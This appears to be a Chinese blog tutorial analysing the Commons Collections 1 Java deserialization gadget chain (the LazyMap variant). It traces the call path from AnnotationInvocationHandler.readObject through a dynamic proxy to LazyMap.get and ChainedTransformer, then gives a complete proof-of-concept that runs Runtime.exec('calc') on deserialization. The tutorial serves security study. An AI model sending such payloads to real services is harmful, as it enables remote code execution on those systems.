文章目录
【java安全】CommonsCollections1(LazyMap)
前言
前面我们学习了cc1链使用
TransformedMap
构造,但是
ysoserial
使用的是
LazyMap
进行构造的,相对复杂一点
我们先复习一下:
LazyMap
和
TransformedMap
都是在
CommonsCollections
模块中,我们想要测试首先需要创建maven项目,然后导入坐标
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency>
我们使用
TransformedMap
是通过触发
checkSetValue()
方法来触发
ChainedTransformer
类的
transform()
方法最终RCE
那么
LazyMap
是如何触发
transform()
方法呢?
LazyMap
我们查看
LazyMap
源码:
protectedLazyMap(Map map,Transformer factory){super(map);if(factory ==null){thrownewIllegalArgumentException("Factory must not be null");}else{this.factory = factory;}}publicObjectget(Object key){if(!this.map.containsKey(key)){Object value =this.factory.transform(key);this.map.put(key, value);return value;}else{returnthis.map.get(key);}}
发现
get()
方法可以执行
factory
变量的
transform()
方法,而
factory
刚好是
Transformer
类型
所以只要创建一个
LazyMap
对象,
factory
传入
ChainedTransformer
对象,只要调用了
LazyMap
对象的
get()
方法,就可以RCE了
如何创建
LazyMap
对象?
我们可以使用
decorate()
方法:
publicstaticMapdecorate(Map map,Transformer factory){returnnewLazyMap(map, factory);}
参数:
map
参数可以传入一个空的HashMap
对象factory
可以传入一个ChainedTransformer
对象
如何调用
LazyMap
的
get()
方法?
我们之前触发
TransformedMap
,是通过
sun.reflect.annotation.AnnotationInvocationHandler
执行
setValue()
触发
TransformedMap
的
checkSetValue()
函数执行
transform()
方法
protectedObjectcheckSetValue(Object value){returnthis.valueTransformer.transform(value);}
那我们怎么触发
TransformedMap#get()
方法呢?
我们再看看
sun.reflect.annotation.AnnotationInvocationHandler
源码:
publicObjectinvoke(Object var1,Method var2,Object[] var3){...if(var4.equals("toString")){returnthis.toStringImpl();}elseif(var4.equals("hashCode")){returnthis.hashCodeImpl();}elseif(var4.equals("annotationType")){returnthis.type;}else{Object var6 =this.memberValues.get(var4);...}
这里我们注意到
invoke()
调用了
this.memberValues
变量的
get()
方法,而
memberValues
变量
AnnotationInvocationHandler(Class<?extendsAnnotation> var1,Map<String,Object> var2){this.type = var1;// var1是Annotation的子类this.memberValues = var2;}
是构造
AnnotationInvocationHandler
传入的第二个参数,如果我们将
var2
传入
LazyMap
对象,那么只要
AnnotationInvocationHandler
触发了
invoke()
方法,就可以调用
LazyMap
的
get()
方法
如何触发
AnnotationInvocationHandler#invoke()
方法?
可以使用java的
动态代理
机制,
我们创建一个
AnnotationInvocationHandler
对象,第二个参数传入
LazyMap
对象,对
Map
创建一个代理:
Map proxyMap =(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),Map.class.getInterfaces(),handler);
然后只要随便使用
proxyMap
动态代理对象调用方法,就会触发
hander
变量,即
AnnotationInvocationHandler
对象的
invoke()
方法,从而调用
LazyMap
的
get()
问题又来了,怎么才能随便调用
proxyMap
动态代理对象的方法,并且使用
readObject()
反序列化的方式呢?
我们可以再次将
proxyMap
封装到
AnnotationInvocationHandler
中,因为它的
readObject()
方法存在函数调用:
privatevoidreadObject(ObjectInputStream var1)throwsIOException,ClassNotFoundException{
var1.defaultReadObject();AnnotationType var2 =null;...Map var3 = var2.memberTypes();Iterator var4 =this.memberValues.entrySet().iterator();}
这里的
this.memberValues
就是
proxyMap
,他会调用
entrySet()
从而触发
invoke()
POC
测试环境
- 3.1-3.2.1 jdk版本小于u71
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.LazyMap;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Constructor;importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.Proxy;importjava.util.HashMap;importjava.util.Map;publicclassCommonsCollections1{publicstaticvoidmain(String[] args){//Transformer数组Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};//ChainedTransformer实例Transformer chainedTransformer =newChainedTransformer(transformers);//LazyMap实例Map uselessMap =newHashMap();Map lazyMap =LazyMap.decorate(uselessMap,chainedTransformer);try{//反射获取AnnotationInvocationHandler实例Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);InvocationHandler handler =(InvocationHandler) constructor.newInstance(Override.class, lazyMap);//动态代理类,设置一个D代理对象,为了触发 AnnotationInvocationHandler#invoke Map mapProxy =(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(), handler);InvocationHandler handler1 =(InvocationHandler) constructor.newInstance(Override.class, mapProxy);//序列化ByteArrayOutputStream baos =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();//测试反序列化ByteArrayInputStream bais =newByteArrayInputStream(baos.toByteArray());ObjectInputStream ois =newObjectInputStream(bais);
ois.readObject();
ois.close();}catch(Exception e){
e.printStackTrace();}}}
运行代码:
总结
讲到这里,整个一条链子算是清晰了起来:
->AnnotationInvocationHandler.readObject()->proxyMap.entrySet().iterator()//动态代理类->AnnotationInvocationHandler.invoke()->LazyMap.get()->ChainedTransformer.transform()->ConstantTransformer.transform()->InvokerTransformer.transform()->…………
参考
CC链 1-7 分析
Java安全漫谈 - 11.反序列化篇(5)
版权归原作者 Leekos 所有, 如有侵权,请联系我们删除。